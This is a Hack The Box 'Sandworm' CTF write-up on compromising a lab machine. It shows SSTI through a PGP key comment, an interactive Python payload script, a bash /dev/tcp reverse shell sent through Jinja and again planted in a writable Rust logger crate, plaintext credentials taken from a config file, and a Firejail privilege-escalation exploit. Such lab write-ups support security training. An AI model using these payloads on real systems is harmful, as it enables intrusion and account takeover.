Sandworm Writeup
18 November 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -sC -sV 10.10.11.218
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Issuer: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-04T18:03:25
| Not valid after: 2050-09-19T18:03:25
| MD5: b8b7:487e:f3e2:14a4:999e:f842:0141:59a1
|_SHA-1: 80d9:2367:8d7b:43b2:526d:5d61:00bd:66e9:48dd:c223
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
This is the website for a "Secret Spy Agency" that lets you submit PGP-encrypted tips.
At the bottom of the page, we learn that the site is built with Flask:
There is a guide to practice using PGP (and gpg
) for working with public key cryptography (encrypt, decrypt, sign and verify):
The first step is to get the public key of the SSA organization and import it into our gpg
keyring. Their public key can be found at https://ssa.htb/pgp
:
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=P8U3
-----END PGP PUBLIC KEY BLOCK-----
We'll copy this key to a file called ssa.pub
before importing it:
$ gpg --import ssa.pub
$ gpg --list-keys
[...]
pub rsa4096 2023-05-04 [SC]
D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid [ unknown] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub rsa4096 2023-05-04 [E]
With this public key, we can encrypt messages that only the secret key of the "Secret Spy Agency" can decrypt:
$ echo what the dog doin > msg.txt
$ gpg -r 'atlas@ssa.htb' --encrypt --armor msg.txt
gpg: 6BB733D928D14CE6: There is no assurance this key belongs to the named user
sub rsa4096/6BB733D928D14CE6 2023-05-04 SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
Primary key fingerprint: D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
Subkey fingerprint: 4BAD E0AE B5F5 5080 6083 D5AC 6BB7 33D9 28D1 4CE6
It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.
Use this key anyway? (y/N) y
$ cat msg.txt.asc
-----BEGIN PGP MESSAGE-----
hQIMA2u3M9ko0UzmAQ//Zz2+3c91VnXGSWB0WK3uPPnYEgt1kjxL8OVZh5ppjrcF
5WEZujlA9ZAAuBNyxR1Nb3QBpsYi6Rhbg49M6YyPiI9flonWU8e+OxvOgqOMXp3F
08fLBS8N9OSjY+cF+sNrWk/gdVzivBF7HsVMHldN+A0yc+CBo9fbAUicYouG/KzP
ZpeNjBmrAUzNkQTZL4/PrwG94qQbThcyukycw/b2PN4tUkvUzma6TLgxnD/9I/yc
ZhIPZDeLwyPjVlY7dvlJsKuOX8arFR0Do1irIdBY4eEdLdJZU06Vgsom42tJX/ZQ
W8Vwh01jqP8RRDma3j+5p7AF6hdepEBh7ZaTyHpPC7FA1F2pGmh/paClVLo0rmVB
2tngP/XZ9ij2AAYIFknO9pKUfp2SzyIH+YJetPZcFhOmGGLrThNS1uBgKEKlfLly
U22FtnRNr4CZ7RotNb6dneo6YpX+EzhFwnHrBfR8e/fVt2+mSAw66zxdI+JMIwsM
TJHRLzbULXJ9zHgkaTK0tSe2SOtHDeC6A71y8Bc1W0rSpyhVu1YqLyEXOrvwkw9Z
BQ1kz9HkjYAc44TCpeaLT3AjD9Vzar4/FoF/KgkNJZWbxXudtZu0RueHwNm+fNKI
QBU2PZ0pQ/3jKzGWUH8Oou8HKktPRynJAB1ZNtkelJ8jTjTrEBRuuI9/JQRMQQLS
UgEA1jpqSZd06K+4spDxDmN1ojRHkbXGfmfD+s+AfoHRA3BtU7/Qdhe1NkpTBSZa
Hnwgf9lQMSPOkFM845yxHsJL9O+UJzyLQQTuUtRHPNg+h4Q=
=0HSX
-----END PGP MESSAGE-----
We got a warning when encrypting the message because we didn't sign the public key with our own private key.
Let's take the encrypted message and try to decrypt it on the "guide" interface:
Nice, it works just fine.
One other functionality of this web app is to verify the signature of a signed message. To do that we need to create a key pair, and provide some signed message along with our public key to verify it.
We'll start by creating a new key pair:
$ gpg --full-generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(14) Existing key from card
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072) 1024
Requested keysize is 1024 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
GnuPG needs to construct a user ID to identify your key.
Real name: testkey
Email address: asdf@asdf.com
Comment: comment
You selected this USER-ID:
"testkey (comment) <asdf@asdf.com>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
public and secret key created and signed.
pub rsa1024 2023-11-17 [SC]
7299E022127F8BC3DDF9AFD24603BEA073249F09
uid testkey (comment) <asdf@asdf.com>
sub rsa1024 2023-11-17 [E]
We have to select the different options and choose a passphrase for the key.
Once the key pair is created, we can use it to sign a cleartext message:
$ gpg --clearsign -r 'asdf@asdf.com' msg.txt
gpg: WARNING: recipients (-r) given without using public key encryption
$ cat msg.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
what the dog doin
-----BEGIN PGP SIGNATURE-----
iLMEAQEKAB0WIQR6Tf7ocTBoR/0siKqRsRT5NPsLQAUCZVdzRgAKCRCRsRT5NPsL
QH/YA/0b96eduqg4ebyX8PrQFkNEGwRxxuKPsa8+tYcKu9AlTMSOgxCU2Mq2PcVx
YPntgjIebEqgVsoO+2XFC+hib+AOmmkzpkj7QW83aQmlTE5JRTP8rD1gVlc1sg3/
6u6vnrFhSp0ZJEOSw5knsvQOkogwReL05n4TiCTKUUyL1IM7Dg==
=EGNB
-----END PGP SIGNATURE-----
Now let's export our public key:
$ gpg --export --armor 'asdf@asdf.com'
-----BEGIN PGP PUBLIC KEY BLOCK-----
mI0EZVdzNwEEAMzoM2uHp5n8ecKfqdmDEEFPs3eezP/PE+ngmQwLdQY2faZyHUTL
uvcfuLs0q8KgWlY9rv+EAWuRAyTlP/QMrqzFcMgk4udxJElBARjUI+/GZEuAj8hK
r+NTfT8ed6982pfXHNwixw9VMeMdunADEvrjeI8Gq+knwxY/lhttTJX1ABEBAAG0
IXRlc3RrZXkgKGNvbW1lbnQpIDxhc2RmQGFzZGYuY29tPojOBBMBCgA4FiEEek3+
6HEwaEf9LIiqkbEU+TT7C0AFAmVXczcCGwMFCwkIBwIGFQoJCAsCBBYCAwECHgEC
F4AACgkQkbEU+TT7C0C7EQQAtsUKxrA3we121xbp+Dptnc0/yXracmPboO8Vrxms
/l4VVJdMEA3BVfWAG5P7cg7ZOVMU6N88Rcczok3fYvD2uyn+8SqFJbyITAj+kzir
wceimQenSXPu8p9Kud0iW4swLC5fa+xG/Q90rzzJqOcQ8aFcEkgRLSvpy5fZr91Z
q9O4jQRlV3M3AQQAq8PCnQ6lTl9Wo5OARjd4yNt8Zoz/xhiquFaaNz/yeRusROh4
yNGFUy9IWfZhhLFYqXJCTVoVNG8jnv1f+LlYQqyzc7Ff5K0nv7tNSBpzpemWlBXO
ZmtQ/l0QL1OyLAUPgdgsQYI+YqL0FaWKXMPObSJOqhBPNpQK8ZQ0d3uV31sAEQEA
AYi2BBgBCgAgFiEEek3+6HEwaEf9LIiqkbEU+TT7C0AFAmVXczcCGwwACgkQkbEU
+TT7C0ClhgP+Owr7SuSNQIeKH+EanJXfFerxWpxq/2O3dhx0aHBj5hnrmkTabklN
149nyW+e3unYLllBZ5D3ghpSCeKoTZeLhpSWW3sSROPfOHzm965vn3DBa+NnFW5p
Hz/K1fUqgS8N5s4jUWKcbCFG8RFob9YhMc4FvYSFscvLQqSdagklgAU=
=OG9Y
-----END PGP PUBLIC KEY BLOCK-----
Now we can submit both the signed message and the public key to verify the signature:
After clicking on the "Verify Signature" button, we get this output:
Foothold
After playing some more with the functionality, we can identify a SSTI (Server Side Template Injection) vulnerability when verifying the signature.
Just change the comment field to {{7*7}}
and submit:
We get 49 back, which shows that the 7*7
got evaluated.
Since it is pretty annoying to manually generate and modify keys, I created a Python script to do this for us:
#!/usr/bin/env python3
import gnupg
import requests
from cmd import Cmd
import re
import sys
import html
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
URL = "https://ssa.htb/process"
PASSPHRASE = "v3RY5tr0NNgpP45Sphr@s3"
gpg = gnupg.GPG()
MESSAGE = "test message hehexd"
session = requests.Session()
#session.proxies.update({ "http": "http://127.0.0.1:8080" })
pattern = re.compile(r"\((.*)\)")
def generate_key(payload):
params = gpg.gen_key_input(
key_length=1024,
name_email="asdf@asdf.com",
name_comment=payload,
passphrase=PASSPHRASE
)
key = gpg.gen_key(params)
ascii_public_key = gpg.export_keys(key.fingerprint)
return key.fingerprint, ascii_public_key
def sign_msg(fingerprint):
signed_message = gpg.sign(MESSAGE, keyid=fingerprint, passphrase=PASSPHRASE)
return signed_message
def del_key(fingerprint):
gpg.delete_keys(fingerprint, True, passphrase=PASSPHRASE)
gpg.delete_keys(fingerprint)
class Term(Cmd):
prompt = ">_ "
def default(self, payload):
fingerprint, ascii_key = generate_key(payload)
signed_message = sign_msg(fingerprint)
body = {
"public_key": ascii_key,
"signed_text": signed_message
}
res = session.post(URL, data=body, verify=False)
output = html.unescape(res.text)
match = pattern.search(output)
if match:
print(match.group(1))
else:
print(output)
del_key(fingerprint)
def do_EOF(self, _):
session.close()
print("")
sys.exit(0)
try:
term = Term()
term.cmdloop()
except KeyboardInterrupt:
session.close()
print("")
It's using the cmd
module to provide an interactive interface allowing us to send payloads easily:
$ python ssti.py
>_ {{7*7}}
49
>_ {{namespace.__init__.__globals__.os.popen('id').read()}}
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas
>_ {{namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.27/443 0>&1"').read()}}
Privesc
Firejail Escape
When trying to write a file into a directory we have permission to write in, we get a weird error:
atlas@sandworm:~$ echo asdf > test.txt
bash: test.txt: Read-only file system
Furthermore, some common utilities like ps
or ss
are missing:
atlas@sandworm:/$ ps
Could not find command-not-found database. Run 'sudo apt update' to populate it.
ps: command not found
atlas@sandworm:/$ ss
ss
Could not find command-not-found database. Run 'sudo apt update' to populate it.
ss: command not found
It looks like we are in some kind of sandbox.
Still, we are able to navigate the file system and read files. We can find creds for another user in a config file:
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
We can SSH in as silentobserver
:
$ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password:
[...]
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
silentobserver to atlas
After uploading and running pspy
we see a command being executed periodically:
silentobserver@sandworm:~$ ./pspy64
[...]
CMD: UID=0 PID=5658 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
[...]
It's executing a custom Rust program as the atlas
user.
The code is located at /opt/tipnet
. In Cargo.toml
, it is using a custom crate (package) located at /opt/crates/logger
to provide logging capabilities:
silentobserver@sandworm:~$ cat /opt/tipnet/Cargo.toml
[...]
logger = {path = "../crates/logger"}
[...]
The interesting thing to note is that our user has write access on /opt/crates/logger/src/
:
silentobserver@sandworm:~$ ls -Alh /opt/crates/logger/
total 32K
-rw-r--r-- 1 atlas silentobserver 12K May 4 2023 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 2023 Cargo.toml
drwxrwxr-x 6 atlas silentobserver 4.0K May 4 2023 .git
-rw-rw-r-- 1 atlas silentobserver 20 May 4 2023 .gitignore
drwxrwxr-x 2 atlas silentobserver 4.0K May 4 2023 src
drwxrwxr-x 3 atlas silentobserver 4.0K May 4 2023 target
This means we can modify the logger::log()
function in /opt/crates/logger/src/lib.rs
and append some arbitrary Rust code that will get executed by the atlas
user whenever the tipnet
program calls the logger::log()
function.
We'll use std::process::Command
to execute system commands to send a reverse shell back to us:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
Command::new("/bin/bash")
.args(["-c", "bash -i >& /dev/tcp/10.10.14.27/443 0>&1"])
.spawn();
}
After 1 or 2 minutes we get a connection on our reverse shell listener:
$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.218:60348.
bash: cannot set terminal process group (5679): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas to root
The atlas
user is a member of the jailer
group, which has permission to execute the firejail
binary:
atlas@sandworm:~$ find / -group jailer -ls 2>/dev/null
1344 1740 -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
Let's check out the version:
atlas@sandworm:~$ firejail --version
firejail version 0.9.68
[...]
This Firejail version has a vulnerability that allows unprivileged users to escalate privileges to root. This post goes over the technical details and provides a python proof of concept that we'll use to exploit the vulnerability.
Copy the python script to the box and execute it:
atlas@sandworm:~$ ./firejoin.py
You can now run 'firejail --join=7327' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
We'll start another shell as atlas
and execute the firejail
command the python script asked us to run to get a root shell:
atlas@sandworm:~$ firejail --join=7327
changing root to /proc/7327/root
Warning: cleaning all supplementary groups
Child process initialized in 11.44 ms
atlas@sandworm:~$ su -l
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Inspect each endpoint of web apps to find interesting stuff